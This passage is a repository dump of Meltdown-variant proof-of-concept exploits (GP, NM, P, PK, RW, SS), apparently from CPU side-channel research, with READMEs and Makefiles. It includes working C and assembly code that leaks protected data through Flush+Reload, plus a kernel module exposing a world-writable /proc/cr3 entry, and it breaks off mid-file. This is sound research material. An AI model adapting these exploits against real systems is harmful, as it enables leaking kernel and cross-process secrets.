    "content": "all: x86\n\nx86: main_x86\n\nmodule/kernel_module.ko: module/kernel_module.c\n\tcd module && make\n\nmain_x86: main.c module/kernel_module.ko\n\tgcc main.c -o poc_x86 -O3 -I../../\n\nclean:\n\trm -f poc_* && cd module && make clean\n"
  },
  {
    "path": "pocs/meltdown/GP/README.md",
    "content": "# Meltdown-GP PoC\n\nThis folder contains a Meltdown-GP proof-of-concept implementation for x86_64.\nFor ARM, we used the PoC from https://github.com/lgeek/spec_poc_arm.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version.\n\n## Run\n\nRun with `./poc_x86` for x86_64.\n\nThe expected output depends on the content of the cr3 register.\n\n## How it works\nIn this PoC, we encode the content of the cr3 register in the cache. This triggers a general-protection fault as the cr3 is a privileged reggister. We suppress this exception either via Intel TSX or segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n"
  },
  {
    "path": "pocs/meltdown/GP/main.c",
    "content": "#define _GNU_SOURCE\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sched.h>\n\n#include \"libcache/cacheutils.h\"\n\nint main(int argc, char **argv) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // print CR3 register content\n  pid_t pid = getpid();\n  char pid_s[64];\n  // get CR3 register for running process\n  sprintf(pid_s, \"echo %zd > /proc/cr3; cat /proc/cr3\", (size_t)pid);\n  printf(\"PID: %zd\\n\", (size_t)pid);\n  printf(\"CR3: \");\n  fflush(stdout);\n  (void)system(pid_s);\n  printf(\"\\n\");\n\n  // Allocate and align shared memory\n  char *_mem = malloc(pagesize * 300);\n  mem = (char*)((size_t)_mem & ~(pagesize - 1)) + pagesize * 2;\n  memset(mem, 0, pagesize * 290);\n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  while(1) {\n    // Start TSX\n    if(try_start()) {\n      // Null pointer access prolongs transient window\n      maccess(0);\n      // Encode content of the CR3 register in the cache\n      asm volatile(\"movq %%cr3, %%rax\\n\"\n                   \"andq $0xff000, %%rax\\n\"\n                   \"movq (%%rbx,%%rax,1), %%rbx\\n\"\n                   :\n                   : \"b\"(mem)\n                   : \"rax\");\n      try_abort();\n    }\n    try_end();\n\n    int i;\n    // Recover data from the covert channel\n    for(i = 0; i < 256; i++) {\n      if(flush_reload(mem + i * pagesize)) {\n        printf(\"%x \", i);\n        fflush(stdout);\n        sched_yield();\n      }\n    }\n    sched_yield();\n  }\n\n  free(_mem);\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/GP/module/Makefile",
    "content": "obj-m += kernel_module.o \n\nall:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules\n\nclean:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean\n\t\n"
  },
  {
    "path": "pocs/meltdown/GP/module/kernel_module.c",
    "content": "#include <linux/fs.h>\n#include <linux/init.h>\n#include <linux/module.h>\n#include <linux/proc_fs.h>\n#include <linux/sched.h>\n#include <linux/seq_file.h>\n#include <linux/slab.h>\n#include <linux/uaccess.h>\n#include <asm-generic/io.h>\n#include <linux/version.h>\n\nstatic unsigned long cr3_val = 0;\n\nstatic struct mm_struct *get_mm(size_t pid) {\n  struct task_struct *task;\n  struct pid *vpid;\n\n  /* Find mm */\n  task = current;\n  if(pid != 0) {\n    vpid = find_vpid(pid);\n    if(!vpid)\n      return NULL;\n    task = pid_task(vpid, PIDTYPE_PID);\n    if(!task)\n      return NULL;\n  }\n  if(task->mm) {\n    return task->mm;\n  } else {\n    return task->active_mm;\n  }\n  return NULL;\n}\n\nunsigned long pid_to_cr3(size_t pid) {\n  struct mm_struct *mm = get_mm(pid);\n  void *cr3_virt;\n  unsigned long cr3_phys;\n\n  if(mm) {\n    cr3_virt = (void *)mm->pgd;\n    cr3_phys = virt_to_phys(cr3_virt);\n\n    return cr3_phys;\n  } else {\n    printk(KERN_INFO \"No process found\");\n    return 0;\n  }\n}\n\nstatic int my_proc_show(struct seq_file *m, void *v) {\n  seq_printf(m, \"0x%zx\\n\", cr3_val);\n  return 0;\n}\n\nstatic ssize_t my_proc_write(struct file *file, const char __user *buffer,\n                             size_t count, loff_t *f_pos) {\n  char tmp[32];\n  if(copy_from_user(tmp, buffer, 32)) {\n    return EFAULT;\n  }\n  cr3_val = pid_to_cr3(simple_strtol(tmp, NULL, 0));\n  return count;\n}\n\nstatic int my_proc_open(struct inode *inode, struct file *file) {\n  return single_open(file, my_proc_show, NULL);\n}\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0)\nstatic struct proc_ops my_ops = {.proc_open = my_proc_open,\n                                 .proc_release = single_release,\n                                 .proc_read = seq_read,\n                                 .proc_lseek = seq_lseek,\n                                 .proc_write = my_proc_write};\n#else\nstatic struct file_operations my_ops = {.owner = THIS_MODULE,\n                                        .open = my_proc_open,\n                                        .release = single_release,\n                                        .read = seq_read,\n                                        .llseek = seq_lseek,\n                                        .write = my_proc_write};\n#endif\n\nstatic int __init hello_init(void) {\n  struct proc_dir_entry *entry;\n  entry = proc_create(\"cr3\", 0777, NULL, &my_ops);\n  if(!entry) {\n    return -1;\n  } else {\n    printk(KERN_INFO \"create proc file successfully\\n\");\n  }\n  return 0;\n}\n\nstatic void __exit hello_exit(void) {\n  remove_proc_entry(\"cr3\", NULL);\n  printk(KERN_INFO \"Goodbye world!\\n\");\n}\n\nmodule_init(hello_init);\nmodule_exit(hello_exit);\nMODULE_LICENSE(\"GPL\");\n"
  },
  {
    "path": "pocs/meltdown/NM/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c victim.c secret.h\n\tgcc main.c -o poc_x86 -Os -I../../\n\tgcc victim.c -o victim -Os\n\nmain_arm: main.c victim.c secret.h\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os victim.c -o victim -I../../\n\nclean:\n\trm -f poc_* victim\n"
  },
  {
    "path": "pocs/meltdown/NM/README.md",
    "content": "# Meltdown-NM PoC\n\nThis folder contains a Meltdown-NM proof-of-concept implementation for x86_64.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nThis PoC consists of two different process. The victim constantly loads the secret value into an AVX2 register. On a vulnerable CPU and OS, the register content is not saved on a context switch due to lazy switching. Our attacker process exploits this by loading the value from the AVX2 register and encodes it in the cache. The data is then recovered using a Flush+Reload attack.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n"
  },
  {
    "path": "pocs/meltdown/NM/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <sys/prctl.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n#include \"libcache/cacheutils.h\"\n#include \"secret.h\"\n\nint main(void) {\n  pagesize = sysconf(_SC_PAGESIZE);  \n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n  // Detect cache threshold  \n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);  \n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  printf(\"Output legend:\\n\");\n  printf(\"  '%c'.....Works\\n\", SECRET);\n  \n  for(int r = 0; r < 1000000; r++) {\n    if(try_start()) {\n      // Encode the data from the AVX register of the other process in the cache\n      asm volatile(\"1:\\n\"                                                          \\\n               \"movq (%%rsi), %%rsi\\n\"                                         \\\n               \"movq %%xmm0, %%rax\\n\"                                         \\\n               \"shl $12, %%rax\\n\"                                              \\\n               \"jz 1b\\n\"                                                       \\\n               \"movq (%%rbx,%%rax,1), %%rbx\\n\"                                 \\\n               :                                                               \\\n               : \"b\"(mem), \"S\"(0)                                   \\\n               : \"rax\");\n      try_abort();\n    }\n    try_end();\n\n    // Recover data from the cache\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-NM done!\\n\");\n  free(mem);\n\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/NM/secret.h",
    "content": "#ifndef SECRET_H\n#define SECRET_H\n\n#define SECRET 'S'\n\n#endif\n"
  },
  {
    "path": "pocs/meltdown/NM/victim.c",
    "content": "#define _GNU_SOURCE\n#include <stdio.h>\n#include \"secret.h\"\n\nint main(void) {\n  size_t secret = SECRET;\n  // Constantly load the secret data into an AVX register\n  while(1)\n    asm volatile( \"pause\\t\\n\"\n                  \"movq %0, %%xmm0\" :: \"r\"(secret) );\n\n  return 0;\n}\n"
  },
  {
    "path": "pocs/meltdown/P/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../ -L../../libpte -lpte -lrt\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ -L../../libpte -lpte -lrt\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/P/README.md",
    "content": "# Meltdown-P PoC\n\nThis folder contains a Meltdown-P proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn our PoC, we create a shared mapping to a piece of memory. For one mapping, we clear the present bit using libpte (PTEditor), the other one remains a valid (present) mapping. This valid mapping is required to load the data into the cache.\n\nWe leak the data by accessing it through the non-present mapping and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n"
  },
  {
    "path": "pocs/meltdown/P/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <sys/prctl.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n#include \"libpte/ptedit_header.h\"\n#include \"libcache/cacheutils.h\"\n\nchar *victim_page;\n\n#define SECRET 'S'\n\nint main(void) {\n  pagesize = sysconf(_SC_PAGESIZE);  \n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);  \n\n  // Initialize PTEditor to manipulate page table entries\n  if(ptedit_init()) {\n    printf(\"Could not initialize ptedit (did you load the kernel module?)\\n\");\n    return 1;\n  }\n\n  // We need a shared mapping. One mapping gets P bit cleared..\n  // The second one remains valid to keep data in the cache as it works better.\n  int shm = shm_open(\"shared_mapping\", O_CREAT | O_RDWR, 0644);\n  if(shm == -1) {\n    fprintf(stderr, \"Error: Shared memory\\n\");\n    return -1;\n  }\n\n  // Set memory objects size\n  if(ftruncate(shm, 4096 * 2) == -1) {\n    fprintf(stderr, \"Error: Could not set shared memory object size\\n\");\n    return -1;\n  }\n\n  // Victim mapping that gets P bit cleared\n  victim_page = mmap(NULL, pagesize, PROT_READ | PROT_WRITE,\n                MAP_SHARED, shm, 0);\n \n  // Mapping for keeping data in the cache\n  char* accessor = mmap(NULL, pagesize, PROT_READ | PROT_WRITE,\n                MAP_SHARED, shm, 0);\n  \n  // Write data we want to recover to our victim page\n  memset( victim_page, SECRET, pagesize * sizeof(char) );\n  // Clear P bit of our victim page\n  ptedit_pte_clear_bit( victim_page, 0, PTEDIT_PAGE_BIT_PRESENT);\n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  printf(\"Output legend:\\n\");\n  printf(\"  '%c'.....Works\\n\", (char)SECRET);\n  \n  for(int r = 0; r < 1000000; r++) {\n    // Load data into the cache and fence\n    maccess(accessor);\n    mfence();\n    //Start TSX transaction if available on CPU\n    if(try_start()) {\n      // Null pointer access prolongs transient window\n      maccess(0);\n      // Perform access based on unauthorized data\n      maccess(mem + *victim_page * 4096);\n      try_abort();\n    }\n    try_end();\n\n    // Recover data from cache covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-P done!\\n\");\n  munmap(victim_page, pagesize);\n  munmap(accessor, pagesize);\n  ptedit_cleanup();\n  free(mem);\n  exit(EXIT_SUCCESS);\n}\n"
  },
  {
    "path": "pocs/meltdown/PK/Makefile",
    "content": "all: x86\n\nx86: main_x86\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/PK/README.md",
    "content": "# Meltdown-PK PoC\n\nThis folder contains a Meltdown-PK proof-of-concept implementation for x86_64.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version.\n\n## Run\n\nRun with `./poc_x86` for x86_64.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn our PoC, we assign a protection key to a buffer containing the secret. In each iteration, we disable the protection, access the data, and re-enable the protection. This is to ensure that the data is cached.\n\nWe leak the data by accessing the protected buffer and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation.\n\nThis PoC requires a CPU that supports Intel MPK.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n"
  },
  {
    "path": "pocs/meltdown/PK/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <sched.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SECRET 'S'\n\nint main(void) {\n  int status;\n  int pkey;\n  char *buffer;\n  pagesize = sysconf(_SC_PAGESIZE);\n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  buffer = mmap(NULL, pagesize, PROT_READ | PROT_WRITE,\n                MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);\n  if(buffer == MAP_FAILED) {\n    perror(\"mmap\");\n    return EXIT_FAILURE;\n  }\n  \n  // Put some random data into the page (still OK to touch)\n  *buffer = SECRET;\n  printf(\"buffer contains: %d\\n\", *buffer);\n  \n  // Allocate a protection key:\n  pkey = pkey_alloc(0, PKEY_DISABLE_ACCESS);\n  if(pkey == -1) {\n    perror(\"pkey_alloc\");\n    return EXIT_FAILURE;\n  }\n  \n  // Enable access to any memory with \"pkey\" set,\n  // even though there is none right now \n  status = pkey_set(pkey, 0);\n  if(status) {\n    perror(\"pkey_set\");\n    return EXIT_FAILURE;\n  }\n  \n  // Set the protection key on \"buffer\".\n  // Note that it is still read/write as far as mprotect() is\n  // concerned and the previous pkey_set() overrides it.\n  status = pkey_mprotect(buffer, getpagesize(), PROT_READ | PROT_WRITE, pkey);\n  if(status == -1) {\n    perror(\"pkey_mprotect\");\n    return EXIT_FAILURE;\n  }\n\n  printf(\"Buffer: %d\\n\", *buffer);\n\n  // Disable access\n  status = pkey_set(pkey, PKEY_DISABLE_ACCESS);\n  if(status) {\n    perror(\"pkey_set\");\n    return EXIT_FAILURE;\n  }\n\n  printf(\"about to read buffer with Meltdown-PK...\\n\");\n\n  // flush memory before access\n  flush_shared_memory();\n\n  for(int r = 0; r < 1000000; r++) {\n    // ensure data is cached\n    pkey_set(pkey, 0);\n    maccess(buffer);\n    pkey_set(pkey, PKEY_DISABLE_ACCESS);\n    // just to be sure...\n    mfence();\n    nospec();\n    sched_yield();\n\n    // TSX begin\n    if(try_start()) {\n      // Encode data in the cache\n      asm volatile(\"1:\\n\"\n        \"movq (%%rsi), %%rsi\\n\"\n        \"movzx (%%rcx), %%rax\\n\"\n        \"shl $12, %%rax\\n\"\n        \"jz 1b\\n\"\n        \"movq (%%rbx,%%rax,1), %%rbx\\n\"\n        :\n        : \"c\"(buffer), \"b\"(mem), \"S\"(0)\n        : \"rax\");\n      try_abort();\n    }\n    try_end();\n\n    // Recover data from cache covert channel\n    for(int i = 1; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if (flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%d \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-PK done!\\n\");\n  // Free protection key\n  if(pkey_free(pkey) == -1) {\n    perror(\"pkey_free\");\n    return EXIT_FAILURE;\n  }\n\n  munmap(buffer, pagesize);\n  free(mem);\n\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/RW/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/RW/README.md",
    "content": "# Meltdown-RW PoC\n\nThis folder contains a Meltdown-RW proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nThe expected output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn our PoC, we have function consisting of just bytes of 'R'. We then write to this function, reload the data and encode it in the cache. Writing to a function triggers a fault as functions are not writable. We suppress the fault either via Intel TSX or segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n"
  },
  {
    "path": "pocs/meltdown/RW/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <sys/prctl.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SECRET 'S'\n\nvoid function() {\n  asm volatile(\".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\\n\");\n  asm volatile(\".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\\n\");\n  asm volatile(\".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\\n\");\n  asm volatile(\".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\\n\");\n}\n\nint main(void) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n  \n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  printf(\"Output legend:\\n\");\n  printf(\"  'R'.....Read old value\\n\");\n  printf(\"  '%c'.....Read new value\\n\\n\", (char)SECRET);\n\n  for(int r = 0; r < 1000000; r++) {\n    if(try_start()) {\n      //Null pointer access prolongs transient window\n      maccess(0);\n      //overwrite read-only data\n      (*((volatile char*)((size_t)function + 32))) = SECRET;\n      //access shared memory based on overwritten value\n      maccess(mem + *((volatile char*)((size_t)function + 32)) * pagesize);\n\n      try_abort();\n    }\n    try_end();\n\n    //Recover data from cache covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if(flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-RW done!\\n\");\n  free(mem);\n\n  return EXIT_SUCCESS;\n}\n\n"
  },
  {
    "path": "pocs/meltdown/SS/Makefile",
    "content": "all:\n\tgcc -m32 -DM32=1 -o poc_x86 main.c \n\nclean:\n\trm -rf poc_x86\n\t\n"
  },
  {
    "path": "pocs/meltdown/SS/README.md",
    "content": "# Meltdown-SS PoC\n\nThis folder contains a Meltdown-SS proof-of-concept implementation for x86_64.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version.\n\n## Run\n\nRun with `./poc_x86` for x86_64.\n\nIf the PoC is successfull the output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn this PoC, we modify the Local Descriptor Table so that we can trigger a stack-segment fault. We then try to encode the secret value in the cache. Exception suppression is done by either via Intel TSX or segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n"
  },
  {
    "path": "pocs/meltdown/SS/cacheutils.h",
    "content": "#ifndef _CACHEUTILS_H_\n#define _CACHEUTILS_H_\n\n#include <assert.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <linux/perf_event.h>\n#include <sys/ioctl.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <signal.h>\n#include <setjmp.h>\n#define ARM_PERF            1\n#define ARM_CLOCK_MONOTONIC 2\n#define ARM_TIMER           3\n\n/* ============================================================\n *                    User configuration\n * ============================================================ */\nsize_t CACHE_MISS = 0;\n\n#define USE_RDTSC_BEGIN_END     0\n\n#define USE_RDTSCP              1\n\n#define ARM_CLOCK_SOURCE        ARM_CLOCK_MONOTONIC\n\n/* ============================================================\n *                  User configuration End\n * ============================================================ */\n\n\n// ---------------------------------------------------------------------------\nstatic size_t perf_fd;\nvoid perf_init() {\n  static struct perf_event_attr attr;\n  attr.type = PERF_TYPE_HARDWARE;\n  attr.config = PERF_COUNT_HW_CPU_CYCLES;\n  attr.size = sizeof(attr);\n  attr.exclude_kernel = 1;\n  attr.exclude_hv = 1;\n  attr.exclude_callchain_kernel = 1;\n\n  perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);\n  assert(perf_fd >= 0);\n\n  // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0);\n}\n\n#if defined(__i386__) || defined(__x86_64__)\n// ---------------------------------------------------------------------------\nuint64_t rdtsc() {\n  uint64_t a, d;\n  asm volatile(\"mfence\");\n#if M32\n    asm volatile(\"rdtsc\" : \"=A\"(a));\n#else\n#if USE_RDTSCP\n  asm volatile(\"rdtscp\" : \"=a\"(a), \"=d\"(d) :: \"rcx\");\n#else\n  asm 